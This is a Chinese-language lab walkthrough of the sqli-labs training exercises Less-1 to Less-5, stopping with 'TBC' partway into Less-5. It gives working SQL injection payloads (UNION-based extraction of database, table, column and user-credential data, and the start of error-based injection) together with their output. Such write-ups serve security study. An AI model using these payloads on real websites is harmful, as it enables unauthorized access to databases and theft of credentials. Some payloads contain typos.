Sqli labs通关笔记

【1】Less-1

【1.1】首先判断是否是数字型:

   ?id=1 and 1=1 
   ?id =1 and 1=2

发现不会出现错误,说明不是整形注入。

【1.2】判断是否字符型

?id=1'

此时出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 

说明这里存在一个注入点,而且看出错信息为:'1'' LIMIT 0,1
从这里看出多出来的1'就是我们刚才的输入,所以问题在于'没有闭合。
这里可以猜测sql语句为:

$id = $_GET['id']
$query = "select name, password from xxx where id= '$id' LIMIT 0,1"

所以可以用以下输入来进行注入:

?id=1' --+
?id=1' and 1=1 --+

测试成功,说明猜测正确。
这里注意: --+是为了注释掉后面的语句。+会被转化为空格,所以最终就是--
这里也可以使用:


--# 不过这个不能直接使用,需要将#编码 也就是 --%22

【1.3】判断表有几列

?id=1' order by 1 --+

使用order by 1 一直测试这里测试到order by 4出现错误:

 Unknown column '4' in 'order clause' 

说明表中有3列。

【1.4】判断回显位置

?id=-1' union selec 1,2,3 --+

此时可以看到2,3被显示出来。所以可以用sql语句替换2,3列来达到注入目的。
这里使用id=-1是因为语句中可能有LIMIT 0,1这样的子句或者页面只输出一条信息。

【1.5】爆库名

?id=-1' union select 1, database(), version() --+

显示为:

Welcome    Dhakkan
Your Login name:security
Your Password:5.7.30-0ubuntu0.18.04.1

上面得到数据库名为security,版本名为5.7.30-0ubuntu0.18.04.1。
继续搜集信息:

?id=-1' union select 1, user(), @@datadir

得到:

Welcome    Dhakkan
Your Login name:root@localhost
Your Password:/var/lib/mysql/ 

user为 root@localhost
数据路径为: /var/lib/mysql/
继续

?id=-1' union select 1, @@version_compile_os, @@basedir

得到:

Welcome    Dhakkan
Your Login name:Linux
Your Password:/usr/ 

所以目标机器操作系统为Linux,sql安装在/usr/目录下。
这里总结一下,一些常见的mysql函数和变量:

system_user():系统用户名
user():用户名
current_user:当前用户名
session_user():连接数据库的用户名
database():数据库名
version():数据库版本
load_file():读取本地文件函数
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_compile_os:操作系统

【1.6】继续爆破数据库

?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata), 3 --+

得到:

Welcome    Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3

这里说明一下Mysql information_schema的一些用法:

#获取所有的数据库名
select schema_name from information_schema.schemata 
#获取所有的数据库名(会有重复的)
select table_schema from information_schema.tables 
# 得到某个数据库的所有表名
select table_name from information_schema.tables where table_schema = "某个数据库名" 
#得到某个数据库中某个表的所有列名
select column_name from information_schema.columns where table_schema = "某个数据库名" and table_name = "某个表名" 

(1)查看所有的数据库名

?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata),3 --+

结果:

Welcome    Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3 

(2)查看表名:

?id=-1' union select 1, (select group_concat(table_name) from information_schma.schemata where table_schema = 'security'),3 --+

由于【1.5】中已经获取到数据库名为security,所以这里我们可以获取到security数据库的所有表:

emails,referers,uagents,users

直接查看users表,查看它的列名:

?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 3 --+

此时得到user表的列名为:

username,password

查询所有的username, password:

?id=-1' union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+

此时得到:

所有的username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-
所有的password:
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

当然也可以这样一次性爆出:

?id=-1' union select 1, (select group_concat(concat_ws('=>', username, password) separator '|' ) from users), 3 --+

结果为:

Dumb=>Dumb|Angelina=>I-kill-you|Dummy=>p@ssword|secure=>crappy|stupid=>stupidity|superman=>genious|batman=>mob!le|admin=>admin|admin1=>admin1|admin2=>admin2|admin3=>admin3|dhakkan=>dumbo|admin4=>admin4

这样就获取到了数据库security中表users的所有内容。

【2】Less-2

?id=1' 

出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以看到这里接收的是整数数据。为了进一步确认,可以输入表达式确认:

?id=2-1  #和 ?id=1结果一致
?id=1 and 1=1 #输出正常
?id=1 and  1=0 #无输出

以上可以确定是整形注入。所以后面爆破库名/表名/列名/表内容可以这样:

?id=-1 union select 1, database(), version() #获取数据库名,版本信息
?id=-1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security'), 3 #获取security数据库中的所有表名
?id=-1 union select 1, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 3 #获取security数据库中users表的所有列
?id=-1 union select 1, (select group_concat(concat_ws('=>', username, password) separator ' ') from%20 users), 3 #获取security数据库中users表的所有username-passwod的内容。

Less-2 over

【3】Less-3

首先看看是否有注入点:

?id=1'

得到错误:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

分析可知输入1'后,是该字符串:

'1'')

猜测可能是这样的sql:

$id = $_GET['id'];
$sql = "select xxx from xxx where id = ('$id') LIMIT 0,1";

尝试构造注入,注意'以及)的闭合:

?id=1') --+

此时一切正常。说明我们的猜测正确。所有这里存在一个需要闭合')的注入点。
接下来就可以继续注入了:

#获取到表有几个字段
?id='1) order by 3 --+     
# 获取数据库名
?id=-1') union select 1, database(), version() --+    
#获取security数据库的所有表名
?id=-1') union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security' ), 3 --+      
#获取security数据库中users表的所有列
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name  = 'users'), 3 --+
#爆破表内容
?id=-1' union select 1, (select group_concat(concat_ws('=>',username, password) separator ' ') from users), 3 --+

【4】Less-4

首先查看是否有注入点:

?id=1'
?id=1 and 1=1
?id=1 and 1=0
?id=1')

以上尝试均没有异常。
继续尝试:

?id=1"

此次出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

分析可知出错为:

"1"")

所以可知是")没有闭合。
猜测sql语句为:

$id = $_GET['id'];
$sql = "select xxx from xxx where id = ("$id") LIMIT 0,1";

构造")闭合:

?id=1") --+

此时结果正常,所以猜测正确。这里有一个注入点。接下来就可以【2】【3】类似的方法爆破数据库了。

【5】Less-5

首先还是先找注入点:

?id=1'                #此时出现错误
?id=1'   --+        #此时正确
?id=1' order by 3 --+   #确定表有三列
?id=1' union select 1,2,3 --+    #此时发现没有回显点

这个课程中,没有回显点,所以就不能像【1】-【4】一样利用回显信息来进行注入调试。
首先观察一下上面order by 4时候的错误:

Unknown column '4' in 'order clause'

虽然数据库内容的信息不会回显,但是数据库的错误信息会回显。所以这里可以使用报错注入。
解释一下报错注入:就是人为的制造数据库错误。在数据库报错的同时,将数据库的错误信息呈现在错误结果中。

?id=1' union select 1, count(*), concat((select user()),  (floor(rand(0) * 2))) as x from information_schema.tables group by x --+ 

采用该方法爆出user():

Duplicate entry 'root@localhost1' for key ''

TBC

你可能感兴趣的:(Sqli labs通关笔记)